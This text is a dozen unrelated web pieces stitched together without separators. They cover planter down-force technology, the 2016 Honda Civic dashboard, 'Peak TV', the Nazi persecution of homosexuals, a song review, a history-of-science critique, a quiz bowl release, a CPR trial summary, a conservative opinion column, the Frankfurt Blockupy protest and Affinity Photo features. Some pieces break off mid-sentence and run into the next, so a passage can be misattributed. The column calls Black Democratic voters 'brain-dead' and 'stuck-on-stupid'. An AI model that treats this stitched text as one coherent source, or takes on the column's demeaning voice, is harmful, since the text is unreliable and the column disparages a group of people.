“Down force management is key to achieving the correct seed depth. Up until we started seeing automated down force systems, a grower would set his planter down force once a season and never change it,” Troxell said. “The entire planter may not need the same down force. Different rows may need different down force. Now with the tools available guys can make individual row-by-row down force management decisions based on the field conditions.”
With new technology, planters can have varying levels of down pressure control and precision.
“On an automatic air-adjusted system, we add a certain number of electronic load pins to the planter rows. Those load pins use a monitor in the cab that takes those load cell readings and automatically make adjustments planter wide to maintain that consistent seed depth. White, Deere and Kinze have unveiled automatic down force systems so the majority of the new planters on the market have these capabilities,” Troxell said. “The latest improvement with down force control is the DeltaForce down force management system from Precision Planting that basically converts your planter into individual one-row planters in terms of down force management. The system can put a maximum of 650 pounds of down force and 450 pounds of lift force on the row unit. It will add or take away the weight needed for more seeding depth uniformity on each row, which is becoming more important as planters continue to get bigger. DeltaForce is in its second full year of retail release. You add a row pin to every row of the planter. Compared to OEM down force management systems, that is one of the biggest improvements you can make.”
Planter seed spacing
Even with a consistent depth, erratically spaced seeds can really hamper yield potential in the field. Electric drives can make significant improvements in this area.
“The electric drive has eliminated error in a mechanically driven planter. Whether it is with chains, sprockets and other components, after so many acres those components wear and then lack in performance over time,” Troxell said. “The electric drive has also helped simplify a basic planter because you are able to eliminate a lot of those components and clean the planter up.”
Troxell said electric drives have been out for two or three seasons now and are offered by Precision Planting and Kinze.
“The electric drives are about the size of your fist and offer both variable rate capabilities and row shut off capabilities,” he said. “Electric drives eliminate some inconsistency in seed spacing and, if multi-hybrid planting is of interest, electric drives will be needed to power those dual-meter row units seeding systems. The electric drives eliminate the lag or skips in spacing.”
Planter vacuum meters
Planter meter seed singulation can affect final yield 2- to 2.5-bushels per point off of singulation, which can add up very quickly when planting with variable seed size. Vacuum meters can help address this challenge.
“Deere first offered vacuum meters several years ago, but there are still a lot of finger pickup planters out there. As the seed industry has gone to ‘refuge in a bag,’ that has been a challenge to the finger meter planters. Finger meter planters do a very adequate job of singulating seed when it is one seed size, but refuge in a bag can have two seed sizes and that causes trouble for finger pickup planters. There are tools that can be used to convert finger pickup planters to vacuum meters,” Troxell said. “As the vacuum meter has matured, they have been able to simplify the vacuum requirements based on seed size without affecting the singulation and performance of the meter. With vac meters, you get more consistent singulation regardless of seed size.”
Planting speed
Planters are being built to run faster and cover more acres in less time. With faster planting speed, the planter must be equipped with the proper technology to keep up.
“When you are talking about speed, there are multiple things to consider. You can have a fast planter but if the ground conditions are not right it won’t work,” Troxell said. “You’ll get inconsistency and you’ll need technology to keep that unit in the ground and response time will need to be faster.”
For example, a single pneumatic airbag system normally takes 90 feet at 5 miles per hour to fully adjust the airbags to the proper pressure. This can vary based on how much change in air pressure is needed when making a single pass in the field.
The weigh pins are able to take a reading 200 times a second. The problem is that airbags cannot adjust that fast. So Precision Planting created DeltaForce, which is a hydraulic adjusted down force system. This system can adjust plus or minus 125 pounds in one fifth of a second and plus or minus 500 pounds in a half second, allowing for a faster reaction and more consistent seeding depth as speed becomes a more important factor for planting.
Non-GPS precision
In addition to all of the precision tools that rely upon GPS to work, there is also a wide range of tools that improve various aspects of planting.
“There are a number of planter components that can be added to planters based on the specific needs and wants for tillage practices, fertility needs, ease of handling, or residue management,” Troxell said. “There are tried and true tools out to help accomplish your goals. I think the most popular are the liquid fertilizer systems being added to existing planters because farmers are preparing for the rules and regulations with water quality that are coming. Air adjusted row cleaner systems are also popular as guys look at increasing conservation tillage. Closing wheels offer a more aggressive system to break up the sidewalls and increase seed to soil contact.
“When we look at precision ag as a whole, as seed costs, and fertilizer costs increase, there are tools farmers can access to put those dollars in the right place in the field. As prices are where they are at, you can’t afford to put dollars where you don’t need them.”
For more about Precision Agri Services, Inc., e-mail info@precisionagriservices.com or call 419-628-4167. To learn more about this technology, see the video at ocj.com by searching for “Troxell Precision Agri Services.”Ditches the split-dashboard layout of its predecessor.
The dashboard design of the upcoming 2016 Honda Civic is seen clearly in these patent drawings obtained by Noticias Automotivas. The patent drawings are consistent with spyshots which showed a portion of the new Civic's interior.
The 2016 Civic ditches its split layout and opts for a rather sober-looking design, which according to reports will come with better quality materials though. Spyshots have shown a 3-spoke multifunction steering wheel, automatic climate control, and a 2-DIN audio system though top-end variants will get the 7-inch touchscreen HondaLink infotainment system.
The center console, apart from housing the entertainment system and HVAC controls, will also get a large storage compartment, big enough to stow a smartphone.
The center tunnel of the 2016 Civic features buttons to turn off the traction control and E-CON driving mode. Depending on the variant, the new Civic will offer a 6-speed manual or a CVT gearbox, paired to a 1.8-liter i-VTEC engine or the all-new VTEC Turbo unit.
Also read: 2016 Honda Pilot detailed in video
The next generation Civic was previewed by a nearly-production ready concept at the New York Auto Show this year. The launch of the production Civic is slated towards the end of this year in the U.S.A.
[Source - NoticiasAutomotivas]There really is "too much television." Those were the words FX Networks CEO John Landgraf used in August to bemoan the ever-growing content bubble, thus giving a name to the proliferation of original series on broadcast, cable, premium, streaming and more: Peak TV.
That theme was unavailable when Landgraf and other network chiefs returned to the Television Critics Association's stage in January, with the FX topper joked that counting television series was like counting lemmings. The executive predicted that 2017 would be the year that series output would register a decline from the 412 original scripted series and hundreds more of reality and docuseries. To help illustrate Landgraf's point, FX put out a list of all primetime series on television in 2015 that tops 1,400 (see below).
Polled by THR at TCA in January, multiple network toppers expressed their fears for the future of the television industry. HBO's Michael Lombardo noted his biggest concern was "chasing noise to break through the plethora of choices," while Netflix's Cindy Holland revealed she was worried about the "health of all the networks." CBS' Glenn Geller, meanwhile, stressed that there is a "misperception that network television is dead," while Landgraf hammered it all home: "We make more shows than we can afford, collectively."
Landgraf also noted that Peak TV has reached a point where not only is it challenging to keep up with all 400-plus original scripted series but also the outlets that have entered the scripted fray. Many network toppers, including TNT/TBS' Kevin Reilly, stressed that the cable landscape would likely be dramatically different in five years. Reilly noted cable "will have fewer networks and new corporate alignments," while Bravo/Oxygen/E!/Esquire's Frances Berwick suggested it wouldn't be "called cable; it will be called 'video content.'"
Check out the list of original programs broadcast in 2015 below, ranked by total viewers.On May 6, 1933, Nazis ransacked the "Institute for Sexual Science" in Berlin; four days later, as part of large public burnings of books viewed as "un-German," thousands of books plundered from the Institute's library were thrown into a huge bonfire. The institute was founded in 1919 by Dr. Magnus Hirschfeld (1868 -1935). It sponsored research and discussion on marital problems, sexually transmitted diseases, and laws relating to sexual offenses, abortion, and homosexuality. The author of many works, Hirschfeld, himself a homosexual, led efforts for three decades to reform laws criminalizing homosexuality. (In 1933, Hirschfeld happened to be in France, where he remained until his death.)
In 1934, a special Gestapo (Secret State Police) division on homosexuals was set up. One of its first acts was to order the police "pink lists" from all over Germany. The police had been compiling these lists of suspected homosexual men since 1900. On September 1, 1935, a harsher, amended version of Paragraph 175 of the Criminal Code, originally framed in 1871, went into effect, punishing a broad range of "lewd and lascivious" behavior between men. In 1936, Nazi leader Heinrich Himmler created a Reich Central Office for the Combating of Homosexuality and Abortion: Special Office (II S), a subdepartment of Executive Department II of the Gestapo. The linking of homosexuality and abortion reflected the Nazi regimes population policies to promote a higher birthrate of its "Aryan" population. On this subject Himmler spoke in Bad Tölz on February 18, 1937, before a group of high-ranking SS officers on the dangers both homosexuality and abortion posed to the German birthrate.
Under the revised Paragraph 175 and the creation of Special Office IIS, the number of prosecutions increased sharply, peaking in the years 1937-1939. Half of all convictions for homosexual activity under the Nazi regime occurred during these years. The police stepped up raids on homosexual meeting places, seized address books of arrested men to find additional suspects, and created networks of informers to compile lists of names and make arrests.
An estimated 1.2 million men were homosexuals in Germany in 1928. Between 1933-45, an estimated 100,000 men were arrested as homosexuals, and of these, some 50,000 officially defined homosexuals were sentenced. Most of these men spent time in regular prisons, and an estimated 5,000 to 15,000 of the total sentenced were incarcerated in concentration camps.
How many of these 5,000 to 15,000 "175ers" perished in the concentration camps will probably never be known. Historical research to date has been very limited. One leading scholar, Ruediger Lautmann, believes that the death rate for "175ers" in the camps may have been as high as sixty percent.
All prisoners of the camps wore marks of various colors and shapes, which allowed guards and camp functionaries to identify them by category. The uniforms of those sentenced as homosexuals bore various identifying marks, including a large black dot and a large "175" drawn on the back of the jacket. Later a pink triangular patch (rosa Winkel) appeared. Conditions in the camps were generally harsh for all inmates, many of whom died from hunger, disease, exhaustion, exposure to the cold, and brutal treatment. Many survivors have testified that men with pink triangles were often treated particularly severely by guards and inmates alike because of widespread biases against homosexuals. As was true with other prisoner categories, some homosexuals were also victims of cruel medical experiments, including castration. At Buchenwald concentration camp, SS physician Dr. Carl Vaernet performed operations designed to convert men to heterosexuals: the surgical insertion of a capsule which released the male hormone testosterone. Such procedures reflected the desire by Himmler and others to find a medical solution to homosexuality.
The vast majority of homosexual victims were males; lesbians were not subjected to systematic persecution. While lesbian bars were closed, few women are believed to have been arrested. Paragraph 175 did not mention female homosexuality. Lesbianism was seen by many Nazi officials as alien to the nature of the Aryan woman. In some cases, the police arrested lesbians as "asocials" or "prostitutes." One woman, Henny Schermann, was arrested in 1940 in Frankfurt and was labeled "licentious Lesbian" on her mug shot; but she was also a "stateless Jew," sufficient cause for deportation. Among the Jewish inmates at Ravensbrück concentration camp selected for extermination, she was gassed in the Bernburg psychiatric hospital, a "euthanasia" killing center in Germany, in 1942.
Consequently, the vast majority of homosexuals arrested under Paragraph 175 were Germans or Austrians. Unlike Jews, men arrested as homosexuals were not systematically deported to Nazi-established ghettos in eastern Europe. Nor were they transported in mass groups of homosexual prisoners to Nazi extermination camps in Poland.
It should be noted that Nazi authorities sometimes used the charge of homosexuality to discredit and undermine their political opponents. Charges of homosexuality among the SA (Storm trooper) leadership figured prominently among justifications for the bloody purge of SA chief Ernst Röhm in June 1934. Nazi leader Hermann Göring used trumped-up accusations of homosexual improprieties to unseat army supreme commander Von Fritsch, an opponent of Hitler's military policy, in early 1938. Finally, a 1935 propaganda campaign and two show trials in 1936 and 1937 alleging rampant homosexuality in the priesthood, attempted to undercut the power of the Roman Catholic Church in Germany, an institution which many Nazi officials considered their most powerful potential enemy.
After the war, homosexual concentration camp prisoners were not acknowledged as victims of Nazi persecution, and reparations were refused. Under the Allied Military Government of Germany, some homosexuals were forced to serve out their terms of imprisonment, regardless of the time spent in concentration camps. The 1935 version of Paragraph 175 remained in effect in the Federal Republic (West Germany) until 1969, so that well after liberation, homosexuals continued to fear arrest and incarceration.
Research on Nazi persecution of homosexuals was impeded by the criminalization and social stigmatization of homosexuals in Europe and the United States in the decades following the Holocaust. Most survivors were afraid or ashamed to tell their stories. Recently, especially in Germany, new research findings on these "forgotten victims" have been published, and some survivors have broken their silence to give testimony.Songs We Love: Bad History Month, 'Being Nothing'
Enlarge this image toggle caption Adric Giles/Courtesy of the artist Adric Giles/Courtesy of the artist
Every Boston band starts in a basement, but not every Boston band hopes to leave one. Bad History Month, a glum anti-folk act that formed there back in 2007, has never been concerned with fame. For starters, the band's music uses a combination of ribald jokes, effervescent self-deprecation and blunt existentialism focused on understanding oneself from the inside out in service of isolation — assuming the position of the middle school loner in the back of a classroom.
There's a deeply personal openness to this music, so much so that the main songwriter, Sean Bean, often changes his name to dodge attention. That commitment to high-grade introspection and the active avoidance of praise and criticism has helped generate the band's cult following. When media coverage picked up in 2013, the group released a split the following year... and then went into hiding.
So its return to music comes as a surprise. The lead single off the upcoming Dead And Loving It: An Introductory Exploration Of Pessimysticism breaks from the anxiety-laced jams of their past. The album is a musical self-help book about grappling with the meaning of life and various extensions of death-trip empathy — and "Being Nothing" details the moment when Bean realized there's no point.
The song opens with individually-plucked strings, the gentle work of someone treading lightly, as Bean tries, and fails, to go easy on himself. "I think, and so I am / But all my thoughts just say / 'You are nothing.'" His thoughts turn into a fistfight with himself, as he's eventually joined by Adric Giles on drums and Jesse Heasly on bass. The instruments swirl; a queasy pitch-knob organ gives the feel of retching, right as the epiphany comes into focus. "Then a light came on," Sean Bean sings. "I noticed that the words were true / just not the way I thought." Like the music warping behind him, the realization hits full force: Nothingness doesn't have to be the lack of something; it can be infinite space, enough room for anything to exist.
"Being Nothing" extends Bad History Month's sophomoric lean into newly merciful territory, giving the band's deadpan depression an expiration date, to make room for optimism, even if that optimism is dark in logic. It's a familiar thought — you can live freely because no set purpose has been given to you — that's as empowering as you make it. The realization prompted Bad History Month's self-help quest, and it may help others as well.
In that, like the rest of the band's work, "Being Nothing" is a message meant to be folded into a square, tucked into a pocket, and returned to in solitude during times of distress — only this time, Bad History Month hopes it extends beyond the basement circuit, in order to help anyone struggling at large.
Dead And Loving It: An Introductory Exploration Of Pessimysticism comes out Nov. 3 via Exploding In Sound.The American cultural magazine, The Atlantic recently published an article by Daniel Foster entitled, In Defense of ‘The West’. This was a political article questioning the speech that Donald Trump had made in Warsaw and what the author sees, as what The Trump White means when they talk of ‘The West’. Amongst many other things the article contains the following paragraph encapsulating the authors view of what he sees as The West’s intellectual birthright in the history of science:
Likewise, Egypt hosted the first great repository of Western knowledge—the library at Alexandria—and for a millennium or so following that library’s destruction, it was Muslim metaphysicians who kept lit the flame of Greek ideas. The West’s intellectual birthright, then, was reborn in Latin and French and German and English because it was vouchsafed in Arabic, in the dark interregnum between Charlemagne and the Renaissance.
These sixty-six words made my hair stand on end, or would have done if I had any, for several different reasons that I shall attempt to explicate in what follows.
We will start off with the expression The West’s intellectual birthright. What is meant here is of course Greek science, which doesn’t actually exist and never did. However, how is Greek science The West’s intellectual birthright? The article’s author is trying to argue against a view of the West as being white and bordering the North Atlantic and he could start right here. Even the Greek’s were quite happy to admit that their scientific endeavours were based on those of their predecessors in Egyptian and Babylon, whereby Babylon is shorthand for the various cultures that occupied the so-called fertile crescent in antiquity. So why is Greek science not the intellectual birthright of North Africa or the Middle East, the areas that laid its foundations? Greek science is nobody’s intellectual birthright; the various schools of intellectual thought who developed scientific and proto-scientific ideas within Greek culture in the period between roughly 600 BCE and 600 CE sowed seeds in various cultures throughout the world some of which blossomed and some of which withered and the cumulative developments out of those seeds belong to the whole of humanity.
The author tries to argue against a white North Atlantic West by pointing out that it is geographically and culturally intertwined with much outside of this narrow concept viewed historically and so the opening sentence of the paragraph is supposed to imply a non European source for that intellectual birthright. This ignores the fact that although Alexandria lies in Egypt it was a Greek city and the library was a Greek institution and not an Egyptian one. The next problem is that the library in Alexandria was not the first, and by no means the only, great repository of Western knowledge and was not in any meaningful sense destroyed but declined over several centuries probably disappearing from the world stage around 300 CE. For full details of this story I direct you to Tim O’Neill’s recent excellent essay on the subject.
We now stumble over the next problem; Muhammad first fled from Mecca to Medina in 622 CE, this being the formal date of the establishment of Islam. The establishment of Islam as an intellectual culture begins first in the 8th century CE, so more than 400 years after the final collapse of the library of Alexandria. The Muslims, Christians, Jews and Zoroastrians who established the intellectual culture within the Islamic Empire collected their science and philosophy not only from various Greek sources but also from Persian, Indian and Chinese ones, so they are not just keeping the flame of Greek ideas lit but a melange of ideas from numerous sources. Even more important, they didn’t just keep a flame lit but analysed, criticised, commented upon and improved and expanded the knowledge that they had collected from those other cultures. They were not simply guardians of the flame but added fuel of their own to make it burn brighter.
This knowledge came back into Europe through the boundaries between the Islamic Empire and Christian Europe in Spain and Sicily in the 12th and 13th centuries through the efforts of the so-called translators. These were Christian scholars who worked together with Arabs and Jews to translate the Greek, Latin and Arabic works from Arabic into Latin. This means that the Islamic Empire had only had ‘exclusive’ access to this conglomeration of knowledge for five hundred years and not a millennium as claimed above. Note that this knowledge returned to Europe only in Latin and not also in French German and English as claimed. The introduction of the use of the vernacular for scientific texts only really began in the seventeenth century long after this knowledge had become established in Europe.
We now turn to the final and by far and away the worst piece of shoddy history in this strange paragraph, its final clause: in the dark interregnum between Charlemagne and the Renaissance. When I read this the first time I did more than a double take. I seriously couldn’t believe what I had just read. Let us be clear. We are not talking here about the Early Middle Ages, long known as The Dark Ages, a term that historians now shun but about the period that represents the emergence from the Early Middle Ages into what is generally known as the High Middle Ages and this is according to our author a ‘dark interregnum’. Sorry but this is just simple wrong.
There was a definable intellectual decline within the Roman Empire that begins gradually in the middle of the 2nd century CE and can be regarded as complete by around 400 CE with the collapse of the Western Empire. Over the next approximately 400 years there is little of no intellectual activity in Europe and it is first with Karl der Große (that’s Charlemagne) and the so-called Carolinian Renaissance that this situation begins to change. Far from being the start of a dark interregnum Charlemagne marks the end of one and the gradual climb out of the intellectual darkness into the sunshine of knowledge. Starting with Charlemagne’s own intellectual reformer, Alcuin of York, there is a long chain of medieval scholars including the translators mentioned above, the Oxford Calculatores, the Paris Physicists and many others who laid the foundations for the Renaissance and the so-called Scientific Revolution.
The rich world of medieval science and technology has been well documented beginning with the work of Pierre Duhem in the 19th and early 20th centuries over the substantial contributions of Alistair Crombie, Marshall Clagett, Edward Grant, John Murdoch, Toby Huff and David Lindberg amongst others. With the work of James Hannam and John Freely there are even two good popular books on the subject available for those who don’t want to plough through heavy academic texts, so there is really no excuse for the piece of arrant bullshit presented by Daniel Foster.
The scant paragraph that I have eviscerated above is unfortunately typical for the type of history of science, although to even call it history is a misnomer, that gets presented all too often by journalists, a collection of random myths, legends, clichés and ignorance that they have picked up somewhere down the line. Checking their facts or even consulting an expert on the subject seems to be too much trouble for these people, what does it matter, it’s just history of science seems to be their creed and that really pisses me off.
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For immediate release
United States of America (Press Release) May 21, 2009 —
The Partnership for Academic Competition Excellence will be hosting it’s 12th annual National Scholastics Championship at George Mason University. The national quiz bowl tournament will feature the 64 best teams in the country competing for the national title. The tournament will be taking place on May 23rd and 24th.
The NSC is the premiere academic competition, and a very important event for every top level quiz bowl team in the country. The tournament will feature teams from California to teams from inside the Beltway.
The national champion will be announced on May 24th after seven preliminary rounds, nine playoff rounds, and a final between the two top teams.
The Partnership for Academic Competition Excellence (PACE) is a non-profit alliance of supporters of quiz bowl across the country, who help promote and organize regional and national high school academic tournaments. ###
Christian Carter
PACE Member
cdcarter@gmail.com
http://pace-nsc.orgIllustration courtesy Intelligence Squared.
In 1905, alarmed by a wave of student-athlete deaths, President Theodore Roosevelt convened a group of professors at the White House to debate the future of college football. One University of Chicago academic pronounced the sport a “boy-killing, man-mutilating, money-making, education-prostituting, gladiatorial” disgrace. Today the game faces the most serious scrutiny in a century. Recent studies have linked football to brain damage, and the college game has been beset by a rash of scandals. Is it too violent and risky for institutions of higher learning? Too exploitative? Does the exaltation of big-time sports on campus undermine the education of athletes or damage the college experience for nonathletes?
Advocates argue that college |
trial conducted by Nichol et al. involving adults with out-of-hospital cardiac arrest, a strategy of continuous manual chest compressions with positive-pressure ventilation was not associated with a significantly higher rate of survival to discharge. During the active-enrollment phase, 1129 of 12,613 patients (9.0%) in the intervention group (which received continuous chest compression) and 1072 of 11,035 (9.7%) in the control group (which received interrupted chest compressions) survived to hospital discharge (difference with adjustment for cluster and sequential monitoring, −0.7 percentage points; 95% confidence interval [CI], −1.5 to 0.1; P=0.07).
• Are continuous chest compressions performed by EMS providers during CPR associated with better neurologic outcomes among survivors as compared to interrupted chest compressions?
In the study by Nichol et al., secondary outcomes included neurologic function at discharge, which was measured with the use of the modified Rankin scale (scores range from 0, indicating no symptoms, to 6, indicating death, with a score of less than or equal to 3 indicating favorable neurologic function) on the basis of review of the clinical record, and adverse events. Among patients with available data on neurologic status, 883 of 12,560 patients (7.0%) in the intervention group and 844 of 10,995 (7.7%) in the control group survived with a modified Rankin scale score of 3 or less (difference with adjustment for cluster, −0.6 percentage points; 95% CI, −1.4 to 0.1; P=0.09).
Table 3. Outcomes in Patients Included in the Primary Analysis.
Morning Report Questions
Q: Does hospital-free survival differ when continuous as compared to interrupted chest compressions are used during CPR performed by EMS providers?
A: Hospital-free survival in the Nichol trial was defined as the number of days alive and permanently out of the hospital during the first 30 days after the cardiac arrest. Hospital-free survival was significantly shorter in the intervention group than in the control group (mean difference, −0.2 days; 95% CI, −0.3 to −0.1; P=0.004).
Q: What might explain the discrepancy between the results of the study by Nichol et al. and studies that suggested a benefit from continuous chest compressions?
A: Previous observational studies have shown large increases in survival rates among patients with a shockable rhythm with the implementation of continuous compressions by EMS providers versus compressions interrupted for ventilations. Among patients with a noncardiac cause of cardiac arrest who were treated by laypersons or those with a nonshockable rhythm who were treated by EMS providers, continuous compressions were not associated with a significant improvement in outcome. In these previous studies, participating EMS agencies did not measure CPR process when implementing continuous compressions, and implementation occurred simultaneously with other changes, including directions to give intravenous epinephrine early, to use a nonrebreather mask with passive ventilation, to defer airway insertion, and to reduce the number of defibrillations given with each rhythm analysis. In the initial reports of implementation of continuous compressions, most patients received rescue breathing by means of positive-pressure ventilation with a bag-valve mask. Other interventions that each patient received were not reported. It seems plausible that some of the observed improvement in these previous studies was due to improved CPR process (e.g., compression rate and depth), concurrent improvements in the system of care, or Hawthorne effects (changes in behavior resulting from awareness of being observed) rather than to the implementation of continuous compressions alone.
Tags: continuous compressions, interrupted compressions, out-of-hospital cardiac arrest, patient survival, Standard cardiopulmonary resuscitation (CPR)
Posted in Physicians-In-Training | Permalink | Comments Off on Chest Compressions during CPR
This entry was posted on Friday, December 4th, 2015 at 7:00 am and is filed under Physicians-In-Training. You can follow any responses to this entry through the RSS 2.0 feed. Both comments and pings are currently closed.In his black circles, spouting the truth about Obama is not tolerated. They angrily reject data confirming that blacks moved backwards culturally and economically after eight years of Obama.
My black brother called me from Baltimore feeling frustrated and alone. He is surrounded by blacks, including his own household, who believe everything they are told by fake news media. No amount of data, logic, or truth seems to penetrate their wall of brain-dead loyalty to the Democrat party and worship of Obama. My brother said that even at his all-black church every sermon includes digs against Trump.
As a strong Christian, my brother is saddened that many of his black peers abandoned Christ's agenda to worship at the feet of their black-golden-idol Obama. Many black Christians ignore the truth that Obama was the most biblically-hostile president in U.S. history. Remarkably, even some black preachers threw their Bibles under the bus to support Obama's anti-biblical mandates.
My brother said he cannot understand why so many blacks eagerly accept Leftists' obvious lie that all problems plaguing blacks are the fault of white racist America and their new Nemesis, Donald Trump.
I praised my brother for being an independent thinker. He reminds me of Joe, an old black college buddy back in the 1970s.
Around a dozen of us black art students were attending the Maryland Institute College of Art. The Black Panthers and black power protests were the rage. Our small group of black students ranted constantly about how a black man does not have an f****** chance in this f****** racist country.
Joe stayed focused on working part-time jobs and his classes. Joe was a no-excuses no-nonsense kind of guy. While working on a college art project together, my job was to find special paper. I told Joe I looked everywhere and simply could not find the paper. Joe questioned me. "Did you look here?" I replied no. Did you look there? My reply was the same. Joe said, "Well Lloyd, don't tell me you looked everywhere." Though he annoyed me, I knew Joe was right.
After graduating college, Joe worked his way through grad school and became the first black art director at a prestigious Baltimore Advertising Agency. Joe was an independent thinker.
Frustrated, my brother asked how can he get through to blacks who automatically dismiss him as an Uncle Tom without researching his reasons why blacks should stop voting Democrat? I told him experience has taught me no amount of truth will penetrate willful ignorance.
Matthews 10:14 "If anyone will not welcome you or listen to your words, leave that home or town and shake the dust off your feet." In other words, forget them and move on.
My brother said that when you are on a different page than everyone around you, you tend to question yourself. I assured my brother that he was on the right side of the issues. Also, I wonder if self-reliant (conservative) people are born that way. As far back as I can remember, the only thing my brother ever wanted from the government was for it to stay out of his way. Some people are willing to surrender control of every aspect of their lives to government for the promise of a few crumbs of security.
I explained to my brother that the vast majority of black Americans are engaged in groupthink when it comes to politics.
However, I have seen signs of more blacks beginning to see the light. Praise God. A group of Chicago blacks produced a video expressing their displeasure with Obama and Democrats. One black person said, "Everything in my community is controlled by Democrats so they can't blame the Tea Party."
Another good sign of cracks in the Democrats' wall of deception is an ad I heard while campaigning in Georgia against Democrat far-left radical Jon Ossoff. A black group's radio ad told blacks that voting for Ossoff equaled voting for more Democrat broken dreams and broken promises. Thrilled, I said, "Right on bros!"
I told my brother to keep spreading the truth. While many will reject his message, you never know who will truly hear and receive it. As for those blacks who insist on being stuck-on-stupid, wipe their dust from your shoes and move on bro; move on.
Lloyd Marcus, The Unhyphenated American
Author: Confessions of a Black Conservative: How the Left has shattered the dreams of Martin Luther King, Jr. and Black America.
Singer/Songwriter and Conservative ActivistSome 350 people have been detained at the Blockupy protest in Frankfurt on the day the European Central Bank headquarters open in the city. 88 police have been injured in clashes. Tear gas was used against protesters, who pelted stones and torched cars.
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“Many protesters have been injured as police used water cannons and tear gas,” representatives of Blockupy movement told RIA Novosti.
Demonstration leader Ulrich Wilke has officially announced the end of the mainly peaceful 17,000-strong march at Frankfurt’s Opernplatz (Opera Square) that followed the protests in the evening.
Water cannons and tear gas were deployed by police after the demonstrators torched several cars, pelted stones at police and put tires on fire in the center of the city.
“We have registered over 1,100 offenses,” police told RIA. Eighty eight officers were injured, a Frankfurt police spokesperson later added.
Not feeling my usual bonhomie with the German police today. Very much a spray first ask questions later attitude in #Frankfurt — Peter Oliver (@PeterGOliver_RT) March 18, 2015
A total of 10,000 policemen are ensuring security in the city. Official representatives of Blockupy describe the current security measures as unprecedented, and accuse the police of creating an atmosphere of fear.
RT’s Peter Oliver spoke to one of the rally organizers, who have come from Spain, Sol Trumbo Vila of Transnational Institute.
“This is an expression of anger at the way European policies are affecting European citizens,” Vila said. “Today the authorities are having a party to celebrate the institutionalization of neoliberal policies on the European continent. And we are here to say there’s no consensus in the way the European policies are being imposed. This is affecting all countries.”
One of the tear gas canisters fired at demonstrators today in #Frankfurt#blockupyfrankfurtpic.twitter.com/NYhpFZr7gb — Peter Oliver (@PeterGOliver_RT) March 18, 2015
Police came under fire from the organizers for causing the violence, saying security forces orchestrated a "civil war-type scenario" to provoke demonstrators.
"This is not what Blockupy planned," the group’s spokesman, Hendrik Wester, told German news agency DPA.
Überall Reste von Barrikaden - die Demonstranten bringen ihre Forderungen zum Ausdruck. @RT_Deutsch#Blockupypic.twitter.com/NlUu1ejEH2 — Lea Frings (@LeaFrings) March 18, 2015
In response, the chairman of the German Police Union (GdP), Oliver Malchow, said the violence had gone far enough.
"We're talking about serious crimes here. The term 'protest' doesn't fit in this case," he told broadcaster n-tv.
Banks and supermarkets in the area have announced that they will close early for the day, and the neighborhood around to the ECB headquarters is only open to local residents and office employees.
Trash cans have been set on fire across the city, and more cars torched in the city’s West-end area.
Thousands of people have been expected to come to Frankfurt Wednesday to protest against a crisis situation in Europe they say has been created by the ECB, EU and IMF, and mainly enforced by the German government.
Getting a bit rowdy again. Demonstrators march through police lines. pic.twitter.com/h4VZMXQ8n5 — Peter Oliver (@PeterGOliver_RT) March 18, 2015
The official ceremony marking the opening of the new ECB headquarters took place, despite Blockupy attempts to thwart it.
ECB President Mario Draghi thanked guests "for being here despite the difficult situation outside,'' AP reported.
The new headquarters for the euro currency union's central bank is, according to Draghi, “a symbol of what Europe can achieve together.''
The cost of the new ECB headquarters is reported to be 1.3 billion euros.
Früher Morgen und Blockupy rastet aus “@carlaneuhaus: #Blockupy Rauch überm Bankenviertel in Frankfurt pic.twitter.com/dWkYHAWRe2” — Felix Hemmer (@felixhemmer) March 18, 2015
Blockupy is an anti-capitalist alliance of leftist groups, who gather to attract attention to ECB policies which, they say, have favored the rich over the poor, the banks over the people, the creditor class over debtors. They call the current situation across the EU “the European crisis regime.”
"Our protest is against the ECB, as a member of the troika that, despite the fact that it is not democratically elected, hinders the work of the Greek government. We want the austerity politics to end," Reuters quoted Ulrich Wilken, one of the organizers, as saying.
“It’s an attempt to demonstrate the isolation of the political elite from the general people. I have to say to ‘Blockupy’ blockades, I have a great deal of sympathy because the problem we’re seeing at this point of time is utterly mismanaged,” Patrick Young, global financial markets expert, told RT. “It is a travesty, a demonstration of the modern Germany, a country without any coherent reasonable leadership and government.”Faster, smoother and more powerful than ever, Affinity Photo continues to push the boundaries for professional photo editing software. With a huge toolset specifically engineered for creative and photography professionals, whether you are editing and retouching images, or creating full-blown multi-layered compositions, it has all the power and performance you will ever need. Engineered for Professionals: Open, edit and save Photoshop® PSD files RGB, CMYK, Greyscale and LAB color spaces End-to-end CMYK workflow with ICC color management Full 16 and 32-bit per channel editing Work with all standard formats like PNG, TIFF, JPG, GIF, SVG, EPS, EXR, HDR and PDF Panning and zooming is always live at 60fps with live previews, live tools and real-time editing Open and edit massive images without compromising performance or running out of memory Unsurpassed productivity: Full support for unlimited layers, layer groups, adjustment layers, filter layers and masks Resize layers without any loss of quality. Lock, hide, duplicate and merge layers easily Edit live filters, adjustments, effects, blend modes and masks non-destructively Undo history can be saved with the document so you can always undo your changes Task-focused workspaces for developing, post-processing, liquify and export Work in windowed, full screen, or separated modes with fully customisable toolbars and drag and drop panels Comprehensive vector drawing and text editing tools Advanced snapping system with pixel perfect alignment when required Export @1x, @2x, @3x from layers, slices or whole documents – continuously as you work! Record and Play macros for ultimate productivity Professional image processing: Open RAW and other images in a dedicated pre-processing workspace Adjust exposure, blackpoint, clarity, vibrance, white balance, shadows, highlights and much more Recover detail thought to be lost by editing in an unbounded linear color space Advanced lens corrections including chromatic aberration, defringe, vignette and best-in-class noise reduction Paint areas or use fully customisable gradients to mask adjustments View histograms, blown highlights, shadows and tones as well as detailed EXIF information Focus Merge, HDR Merge and Tone mapping for advanced image processing Quality retouching and correction tools: Intuitive selection brush and refinement makes selections simple, even down to strands of hair Instantly remove unwanted objects with an incredibly advanced Inpainting brush Dodge, burn, clone, patch, blemish and red eye tools Smooth and retouch skin with built-in frequency separation Apply high quality single-plane and dual-plane perspective correction as well as fully customisable mesh warps - all in real time Dedicated Liquify persona gives freehand control over warps, twirls, pinch, punch and turbulence Advanced brush engine: Huge library of painting, drawing, textures and professional DAUB® Brushes included Create custom brushes and nozzles with full control over advanced dynamics Full support for Wacom and other graphics tablets, including pressure, tilt and shortcut buttons Real-time preview of your nozzle – see what you are about to paint or erase before you do it Fast, customisable effects: Massive collection of effects available, including blurs, distortions, tilt-shift, shadows, glows, lighting and many more Swipe-able split or mirrored screen always available for before and after views Choose to apply effects non-destructively with live effect layers, enabling you to erase away or mask effects after they have been appliedArt by David A. Johnson
